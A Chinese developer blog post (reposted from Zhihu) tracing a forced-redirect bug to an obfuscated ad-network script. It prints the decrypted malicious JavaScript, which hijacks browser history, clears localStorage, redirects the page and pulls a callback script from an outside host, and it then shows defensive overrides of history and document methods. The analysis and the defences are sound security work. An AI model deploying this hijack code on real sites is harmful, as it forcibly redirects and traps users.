一個popstate的bug引起的雪崩 優秀回答者

sss443610128 6年前發布 | 14K 次閱讀

一個popstate的bug引起的雪崩 優秀回答者

首先,我們接到用戶投訴,在某些網絡運營商的網絡下,某些android機型的瀏覽器中,訪問我們的頁面會有一些詭異的行為。

一,起因:

行為表現是,進入頁面后,什么都不操作,頁面加載完畢后,用戶的瀏覽器居然直接跳轉到了某個網站的一個搜索頁面,每次搜索的結果還都不一樣。

一開始我們發現了這個bug后,是非常被動的,因為用戶進行了錄屏操作,確實是什么都沒干頁面就自動跳轉到某網站搜索了,我們模擬了投訴用戶的網絡,UA,android同款機型都無解,全程頁面都是使用的HTTPS鏈接,DNS排查后沒有被劫持。

二,排查:

因為無法復現,所以這個問題大概發生了大概一周左右,而且概率不大,后來我們模擬了用戶的ip段,對其進行了小概率的復現,然后追查網絡鏈路,定位了最后的問題。

引起這個的原因,是由于我們的頁面引入了某些第三方平臺的廣告聯盟腳本,而廣告的插入方式大家都知道,是以下幾個步驟組成的:

1,加載第三方廣告腳本。

2,第三方腳本根據規則動態獲取廣告展示腳本。

3,插入廣告展示腳本到廣告主頁面。

問題就出現在廣告腳本這一塊,也就是第二步。

通過對日志的排查,復現的腳本,會有小概率的情況在頁面中增加一些私貨,而且是通過eval加密的,具體加密方法其實就是下面這個地址生成的: js的eval方法在線加密解密工具

那么這段代碼做了什么呢?

通過對加密代碼進行解密,我們發現他干了一件非常神奇的事,這件事就和popstate有關了。

直接上一下解密后的核心部分代碼:

window.loadKeyWord = function(wd) {
        (function(window, location, wd) {
          history.replaceState(null, document.title, location.pathname + "#!/stealingyourhistory");
          history.pushState(null, document.title, location.pathname);
          window.addEventListener("popstate",
            function() {
              if (location.hash === "#!/stealingyourhistory") {
                history.replaceState(null, document.title, location.pathname);
                setTimeout(function() {
                    var h = self,
                      d = document;
                    var i = d.URL,
                      n = d.location,
                      q = d.body,
                      B = function(b) {
                        !!h.localStorage && localStorage.clear();
                        //replace ie寫法
                        (1 - 0.1).toFixed(0) == 0 ? n.replace(b) : !!h.openDatabase ? ~
                          function(a, c) {
                            a.rel = 'noreferrer';
                            a.href = b;
                            q.insertBefore(a, q.firstChild);
                            try {
                              a.click()
                            } catch (z) {
                              c = d.createEvent('Event');
                              c.initEvent('click', !1, !1);
                              a.dispatchEvent(c)
                            }
                          }(d.createElement('a')) : ~
                          function(a) {
                            d.open();
                            d.write(a);
                            d.close()
                          }('<meta http-equiv="refresh" content="0;url=' + b + '"/>')
                      };
                    var tt = wd;
                    if (tt) {
                      B("xxxxxxxx")
                    }
                  },
                  0)
              }
            },
            false)
        }(window, location, wd))
      }
      var hm = document.createElement("script");
      hm.src = "xxxxx.com/?callback=loadKeyWord";
      hm.async = true;
      hm.type = "text/javascript";
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(hm, s)

簡單解釋一下,定義的loadKeyWord方法等于是一個全局的jsonp回調,然后惡意腳本通過調用另外一個script來觸發這個方法的執行,傳回來的就是每次不一樣的關鍵字結果。

那么我們來簡單分析一下,這個loadKeyWord方法干了點啥。

1,調用了 replaceState 方法進行了一次當前url的歷史記錄替換操作,這個記錄加上了 stealingyourhistory 這個hash值。

2,調用 pushState 方法把當前頁面的url換回來了,這樣保證如果用戶點擊了后退,那么就會回到帶有stealingyourhistory的這個值。

3,如果用戶點擊后退,會觸發popstate事件,這個時候,正好會進入下面他增加的監聽,判斷如果url帶著stealingyourhistory,那么就會觸發他的惡意邏輯。

4,惡意邏輯寫的就比較簡單了,一系列的瀏覽器檢測后,不同的瀏覽器選擇不同的跳轉方式,比如location.replace,比如自己創建一個a標簽自己模擬點擊,還有最狠的是在頁面里插入一個refresh meta來進行重定向。

明白了這個邏輯,大概的一個攻擊腳本就分析完了,那么為什么用戶會不點后退,進入頁面就自動跳轉了呢?

哈哈,因為本身popstate在規范上寫的是只有用戶點擊了前進后退,對歷史記錄進行操作才會觸發的,但是在webkit中他是有bug的,當瀏覽器打開一個新頁面或者刷新頁面,都會觸發popstate,遇到這個bug的人一般都是在onload執行完畢后再setTimeout一下進行popstate的綁定的,但是這個惡意腳本應該是沒有考慮到,直接進行綁定了。

那么這個投訴的場景就復現了:

1,一個用戶的瀏覽器中了惡意腳本規則。

2,惡意腳本進行jsonp的回調,觸發惡意邏輯。

3,進行stealingyourhistory操作。

4,頁面這個過程還沒onload。

5,頁面onload了,觸發了popstate事件,頁面被直接帶走了。

三,解決:

我們知道了觸發原因,破解了惡意腳本邏輯,因為眾所周知的原因,廣告平臺肯定是不認賬的,處理肯定也不會那么及時,那么如何快速臨時的解決一下呢?

處理這種攔截的解決辦法,一般都是對惡意腳本的一些關鍵api進行沙盒處理,我們先看下對方腳本做的事。

1,用到了document.write來進行了meta refresh的寫入。

2,用到了location.replace進行重定向。

3,用到了模擬點擊a標簽。

如果只是重寫document.write就能解決那就好辦了,但是因為跳轉方式的多樣化,我們換個思路。

腳本觸發的過程其實本質是對history的幾個方法的利用,那么我們其實只需要對這幾個方法進行攔截就可以了。

看下關鍵代碼:

function rewrite() {
  var win = window,
    doc = document,
    docWriteln = doc.writeln,
    docWrite = doc.write,
    oldEval = eval,
    addEvent = win.addEventListener,
    histryReplaceState = history.replaceState,
    histryPushState = history.pushState;
   Object.defineProperties(win,{
       addEventListener:{
       value:genMethod(addEvent,filterPopstate,win),
       writable: false,
       configurable: false
     }
   });
  Object.defineProperties(doc, {
    write: {
      value: genMethod(docWrite, filterWrite, doc),
      writable: false,
      configurable: false
    },
    writeln: {
      value: genMethod(docWriteln, filterWrite, doc),
      writable: false,
      configurable: false
    }
  })
  Object.defineProperties(win, {
    eval: {
      value: genMethod(oldEval, null, win),
      writable: false,
      configurable: false
    }
  });
  Object.defineProperties(history, {
    replaceState: {
      value: genMethod(histryReplaceState, filterreplace, history),
      writable: false,
      configurable: false
    },
    pushState: {
      value: genMethod(histryPushState, null, history),
      writable: false,
      configurable: false
    }
  });
}

rewirte函數對這些關鍵方法,比如write,writeln,replaceState,pushState,eval進行了重定義。

然后我們關注一下value的部分,我這里使用了一個方法來復用重寫邏輯,因為要完全代理原來的方法,我們需要把scope,原始方法,過濾方法都傳進去。

function genMethod(oldMethod, filterFn, scope) {
  return function() {
    var args = Array.from(arguments);
    if (filterFn) {
      if(filterFn(args)) return oldMethod.apply(scope, args);
    } else {
      return oldMethod.apply(scope, args);
    }
  }
}

這里需要注意的是我們因為重寫了eval方法,在apply調用的時候需要把返回值返回去,如果你想對你網站所有的這種方法做監控,當然你也可以在genMethod方法中加入上報的埋點,這個就看個人需要了。

因為我們有了對方法參數的過濾機制,所以我們通過過濾popstate的callback.toString()來進行了渠道號和某網站URL的正則匹配,又對write方法等做了一些關鍵字的過濾,如果命中就不會執行,測試可以快速解決這個強制跳轉和攔截后退的惡意腳本。

四,總結

最后我們也和某網站,也就是收益方進行了溝通,確認應該是某些廣告商的作弊行為導致的,當然這種問題的排查和追蹤比較困難,以上都只是一些不得已而為之的處理方式,最后肯定是要從攔截的源頭來進行處理了。

而這一系列的廣告黑產技術的破解,被發現的原因居然是因為popstate的一個bug而引起大范圍反饋和排查的,這真是讓我們哭笑不得。

來自:https://zhuanlan.zhihu.com/p/32195737

 

 本文由用戶 sss443610128 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!